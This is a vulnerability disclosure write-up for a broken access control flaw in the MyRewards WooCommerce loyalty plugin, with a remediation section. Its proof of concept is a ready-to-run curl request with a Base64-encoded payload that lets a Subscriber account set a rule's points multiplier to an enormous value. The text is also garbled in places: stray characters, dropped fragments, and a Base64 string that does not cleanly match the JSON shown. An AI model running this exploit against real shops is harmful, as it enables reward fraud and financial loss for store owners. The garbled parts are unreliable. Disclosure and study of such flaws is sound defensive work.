
Missing Authorization / Broken Access Control in Plugin - MyRewards – Loyalty Points and Rewards for WooCommerce
Disclaimer: This repository is created for educational purposes and ethical disclosure only. The vulnerability has been responsibly reported to the vendor and patched. Do not use this information to exploit systems without proper authorization.
A Critical Broken Access Control / Privilege Escalation vulnerability was discovered in the MyRewards (WooRewards) plugin for WooCommerce(versions <= 5.6.0). This flaw allows any logged-in user, even those with minimal privileges like Subscribers, to bypass authorization and modify sensitive shop reward rules.
By exploiting this vulnerability, an attacker can inflate their loyalty points multiplier to an astronomical value (e.g., h999,999,999'), allowing them to accumulate massive points from a single small purchase and redeem them for coupons or free products, resulting in direct financial loss for the store.
<= 5.6.0The root cause of this vulnerability lies in the failure to implement Capability Checks or CSRF protection on critical AJAX endpoints handling database modifications.
1. Unauthorized AJAX Registration:
The plugin utilizes a generic controller class (EditlistControler) to manage CRUD operations. In editlistcontroler.php, it registers the AJAX action editlist using the gwp_ajax_` hook, making it available to ALL logged-in users, regardless of their role:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. Absence of Authorization & Nonce Validation:
Inside the ajax() and accept() methods, the code processes state-changing requests (e.g., put for updating, del for deleting) based solely on user input. It completely misses calls to current_user_can() and check_ajax_referer(), meaning there is no verification whether the user has manage_woocommerce rights.
3. Dangerous Payload Processing:
The endpoint accepts a Base64-encoded JSON string via the line parameter, which is decoded and passed directly to the `EventList::write()p method, saving the malicious settings straight to the database:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
The following steps demonstrate how an authenticated Subscriber can exploit this flaw.
subscriber level account.101) is sequential and easily enumerable by observing AJAX post responses.We want to update the points multiplier of Rule ID 101 to a 999,999,999,999,999.
Initial JSON
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Base64 Encoded ('value of line')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
Run the following CURL request as a lo-privileged user:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} confirming the update.To fix this issue, update the MyRewards plugin to the latest patched version. The vendor resolved this by:
current_user_can() checks within the AJAX controller to verify administrative privileges.check_ajax_referer() to validate nonces and prevent Cross-Site Request Forgery (CSRF).A short log of the disclosure process to show ethical standards were followed: